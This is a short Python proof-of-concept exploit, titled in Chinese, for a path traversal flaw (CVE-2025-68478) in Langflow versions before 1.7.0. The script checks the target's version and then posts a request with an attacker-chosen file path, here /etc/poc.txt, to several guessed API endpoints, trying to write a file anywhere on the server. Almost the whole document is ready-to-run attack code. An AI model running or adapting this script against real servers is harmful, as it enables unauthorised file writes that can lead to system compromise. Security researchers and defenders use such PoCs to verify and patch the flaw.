CVE-2025-68478: Langflow 路径遍历导致任意文件写入漏洞

#!/usr/bin/env python3 """ CVE-2025-68478 PoC - Langflow Path Traversal Arbitrary File Write Reference: https://nvd.nist.gov/vuln/detail/CVE-2025-68478 """ import requests import json import sys TARGET_URL = "http://target:3000" TARGET_PATH = "/etc/poc.txt" # Target path to write def create_malicious_flow(): """Create a malicious Flow object for exploitation""" return { "name": "exploit_flow", "data": { "nodes": [], "edges": [] } } def exploit_cve_2025_68478(): """ Exploit path traversal vulnerability in Langflow < 1.7.0 The server serializes Flow object to JSON and writes to arbitrary path """ # Create the malicious request payload payload = { "fs_path": TARGET_PATH, # Path traversal - arbitrary file path "flow": create_malicious_flow() } headers = { "Content-Type": "application/json" } # Try to write to arbitrary path endpoints = [ "/api/v1/flows/save", "/api/flows/save", "/api/v1/files/write" ] for endpoint in endpoints: try: url = f"{TARGET_URL}{endpoint}" print(f"[*] Trying endpoint: {url}") response = requests.post(url, json=payload, headers=headers, timeout=10) if response.status_code == 200: print(f"[+] SUCCESS! File written to {TARGET_PATH}") print(f"[+] Response: {response.text}") return True else: print(f"[-] Failed with status {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False def check_version(): """Check if target is vulnerable""" try: response = requests.get(f"{TARGET_URL}/api/v1/version", timeout=10) if response.status_code == 200: version = response.json().get('version', '') print(f"[*] Target version: {version}") # Check if version is < 1.7.0 major, minor, patch = map(int, version.split('.')[:3]) if major < 1 or (major == 1 and minor < 7): print("[!] Target is likely VULNERABLE") return True else: print("[-] Target appears PATCHED") return False except: pass return None if __name__ == "__main__": print("=" * 60) print("CVE-2025-68478 PoC - Langflow Path Traversal") print("=" * 60) # Check version first is_vulnerable = check_version() if is_vulnerable: print("\n[*] Starting exploitation...") exploit_cve_2025_68478() elif is_vulnerable is False: print("\n[-] Target is not vulnerable, exiting.") else: print("\n[*] Could not determine version, attempting exploitation anyway...") exploit_cve_2025_68478()